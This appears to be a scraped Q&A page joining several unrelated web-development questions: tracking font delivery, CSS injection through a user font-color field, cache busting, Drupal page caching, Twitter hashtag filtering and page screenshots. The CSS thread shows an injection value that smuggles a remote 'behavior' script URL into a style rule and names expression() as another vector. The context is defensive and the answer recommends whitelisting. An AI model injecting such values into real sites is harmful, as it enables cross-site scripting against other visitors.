I'm using font-display: optional to make my fonts optional and just show it to users with fast internet connections. It's not important to have the font there all the times, and the design team doesn't want to have the font swap ocurring.
I was asked if it's possible to track the number of users who were served with the font. The fonts are now self-hosted, we are using Adobe Typekit.
Anyone has any idea how to track it?
Firstly, if you were ok with using javascript, this question may help you: How to get the actual rendered font when it's not defined in CSS?
First you would have to define the function given in the accepted answer:
function css(element, property) {
return window.getComputedStyle(element, null).getPropertyValue(property);
}
And then you could use it like this:
var fontUsed = css([insert element here], 'font-family')
I would then use ajax and php to upload the fontUsed variable to a mySQL database, creating a new row for each user. You can then process the results and see how many users were served with your font.
See the w3schools tutorial on ajax if you need help: https://www.w3schools.com/js/js_ajax_intro.asp
Related
I have a form like this for logged in users to my site:
<form>
<input name="fontColor"><input type="submit">
</form>
This allows the user to customize their own page with a font color (their page is visible to other logged in users as well). The way this font-color gets put into the page is through a dynamic style sheet in the head of the page that is constructed like this:
body { color: <fontColor>; }
Suppose the user entered this for the fontColor:
default; behavior: url(http://www.myscript.com/script.htc)
Then the CSS would result in
body {color: default;behavior: url(http://www.myscript.com/script.htc)}
This means a users "member page" would insert the script.htc on the page and thus other members visiting this member's page will have that script executed (thus resulting in an attack on the other visitor).
To prevent against this, the server will ignore characters: ;{} that are entered into the "fontColor" field.
In this case the resuling CSS would be invalid and just won't work.
body {color: defaultbehavior: url(http://www.myscript.com/script.htc)}
Essentially my question boils down to these:
Is there still a way to insert a script without using {}; characters?
Supposing {}; were allowed, are there other ways (other than behavior style that works in IE) unwanted scripts can be inserted into CSS?
I know the best solution here would be to validate the fontColor so that the user does not have as much freedom with the color, but for academic purposes I still want to know as much as I can about what could happen.
XSS attacks are really only limited by the imagination of the attacker, so I would make sure to have a strict whitelist of allowed rules/patterns. Just because the CSS rule is invalid doesn't necessarily mean that all browsers will not attempt to include the other file via url even outside of a behavior or background-image rule where it would be valid. Another possible vector is expression, even though it's not well supported.
I certainly won't be able to come up with a complete list here, but the important thing to recognize about XSS is that there are no known limitations for any vectors, and vulnerabilities can be exploited without you noticing. It's much better to work from what you want to allow rather than what you want to deny.
Another thing to consider, aside from attacks in the CSS, is a SQL injection attack. Since I imagine you're storing the style data in a database, you need to worry about what is in that data. Using mysqli::real_escape_string is a good start to preparing your data for storage.
In this case, since you are strictly interested in color data, a color picker could be used to not only make your interface easy to use and also limit the type of data you expect to receive. An attacker can easily modify the page to let them submit whatever they want, but it's much simpler to filter strictly for hex values when that's what your tool generates.
It's about making changes in design (css-files and images) on a website which is already online and in use. I wonder what is the best-practice to make sure that visitors see the changes without clearing there browser's cache manually. Things that came in my mind:
change meta-tag - dismissed because I do not want the site to be ALWAYS loaded from the server
include the css-file with a parameter (like timestamp) after made a change
change the names of included images so that they are reloaded - means also change names in the files where images are included
?
What else could achieve the loading from server? Did I forget some advantages/disadvantages?
Possible duplicate of this post: How to control web page caching, across all browsers?
My favoured solution is to set a random number after you call the file e.g.
css/styles.ccs?628454548
images/sprite.gif?8356484894
You could use javascript/php or whatever to set those random numbers every time the page is called to the browser.
The task is relatively straightforward:
A Drupal website displays a list of articles with thumbnails. Some visitors would like to view it without images by clicking on a button/link and have that preference saved.
e.g. http://patterntap.com/collections/index/
The problem is all visitors are anonymous and given certain traffic, page cache is enabled.
My idea was to use some simple JavaScript to set a cookie, refresh the page and depending on the cookie values (or its presence/absence) display or hide the images.
Except Drupal serves cached pages quite early and the only quick way to modify the cached version that I could find is by hacking includes/bootstrap.inc and add a custom class to the body classes then hide the images with css.
A very wrong approach, I know. But I wonder if there is a way to save different versions of a page and serve the correct version?
Edit:
need to keep the same uri
the js to show/hide the images without reload and set the cookie is already in place
hook_boot() is not really called for cached pages, so can't do it via custom module
.htaccess mods?
Edit/solution:
In the end went with Rimian's suggestion. But it is possible to accomplish the task using our own cache.inc implementation as seen in the Mobile Tools module. Specifically, by extending cache.inc and updating settings.php to include
$conf['page_cache_fastpath'] = FALSE;
$conf['cache_inc'] = 'path/to/my/module/my_module_cache.inc';
So let me get this right. You wanna hide some images on a cached page if the user chooses to?
Why don't you write some jQuery or javascript and load that into your cached page with all the rest of the document?
Then, the client/browser would decide to run your script and hide images depending on some parameters you passed along with the request to that page or in the cookie? The script gets cached and only runs when you call it.
If you were hacking the bootstrap for something like that you'd really need to be rethinking what you were doing. Crazy! :)
Also take a look at cache_get and cache_set:
http://api.drupal.org/api/drupal/includes--cache.inc/6
I'm not sure I 100% understand what you are trying to do but here are my thoughts. One of your root problems is that you are trying to access what is essentially different content at the same uri.
If this is truly what you want to do, then Rimian's suggestion of checking out chache_get and chache_set may be worthwhile.
Personally, it seems cleaner to me to have your "with thumbnails" and "without thumbnails" be accessed via different uri's. Depending on exactly what you are wanting to accomplish, a GET variable my be an even better way to go. With either of these two options you would hide or show your thumbnails at the theme layer. Pages with different paths or get variables would get cached separately.
If you want the visitor to be able to switch views without a page reload, then jQuery and a cookie would probably suite your needs. This wouldn't require a page reload and switching back and forth would be quite simple.
I normally use twitter both as a communication chat and as a short blog service. On my wordpress blog, I import the twitter messages timeline from one twitter account (specific for the blog-visible messages). For communication and chatting, I use another twitter account.
Having two account is a solution, but my geeky nature would prefer to have only one account, with the following magic: every message containing a special tag (e.g. "#blog") will appear on my wordpress blog page. Everything else will not appear on the blog.
Is it achievable with the standard twitter API? does something like this already exist for wordpress? The technical solution would be equivalent to a search for a tag only on a specific user's messages, something that, as far as I see, is currently not possible.
Thanks.
You'll want to use the twitter search API. Use this url to pull the data that you want to display:
http://search.twitter.com/search.xml?q=%23blog&from=mikeluby
You can change the .xml to .json if you want the query to return in json. Remove the ".xml" to get the normal search page to test out the query. Obviously you'll want to change "mikeluby" (my twitter username) to your username.
Update: There may be an issue with the xml return currently on twitter. I would check to see if it works for you. If it doesn't I would suggest switching to the json return or waiting until the problem is fixed.
I have an ASP.Net application which as desired feature, users would like to be able to take a screenshot. While I know this can be simulated, it would be really great to have a way to take a URL (or the current rendered page), and turn it into an image which can be stored on the server.
Is this crazy? Is there a way to do it? If so, any references?
I can tell you right now that there is no way to do it from inside the browser, nor should there be. Imagine that your page embeds GMail in an iframe. You could then steal a screenshot of the person's GMail inbox!
This could be made safe by having the browser "black out" all iframes and embeds that would violate cross-domain restrictions.
You could certainly write an extension to do this, but be aware of the security considerations outlined above.
Update: You can use a canvas utility function to get a screenshot of a page on the same origin as your code. There's even a lib to allow you to do this: http://experiments.hertzen.com/jsfeedback/
You can find other possible answers here: Using HTML5/Canvas/JavaScript to take screenshots
Browsershots has an XML-RPC interface and available source code (in Python).
I used the free assembly UrlScreenshot.dll which you can download here.
Works nicely!
There is also WebSiteScreenShot but it's not free.
You could try a browser plugin like IE7 Pro for Internet Explorer which allows you to save a screenshot of the current site to a file on disk. I'm sure there is a comparable plugin for FireFox out there as well.
If you want to do something like you described. You need to call an external process that prints the IE output as described here.
Why don't you take another approach?
If you have the need that users can view the same content over again, then it sounds like that is a business requirement for your application, and so you should be building it into your application.
Structure the URL so that when the same user (assuming you have sessions and the application shows different things to different users) visits the same URL, they always see same thing. They can then bookmark the URL locally, or you can even have an application feature that saves it in a user profile.
Part of this would mean making "clean urls", eg, site.com/view/whatever-information-needed-here.
If you are doing time-based data, where it changes as it gets older, there are probably a couple possible approaches.
If your data is not changing on a regular basis, then you could make the "current" page always, eg, site.com/view/2008-10-20 (add hour/minute/second as appropriate).
If it is refreshing, and/or updating more regularly, have the "current" page as site.com/view .. but allow specifying the exact time afterwards. In this case, you'd have to have a "link to this page" type function, which would link to the permanent URL with the full date/time. Look to google maps for inspiration here-- if you scroll across a map, you can always click "link to here" and it will provide a link that includes the GPS coordinates, objects on the map, etc. In that case it's not a very friendly url but it does work quite well. :)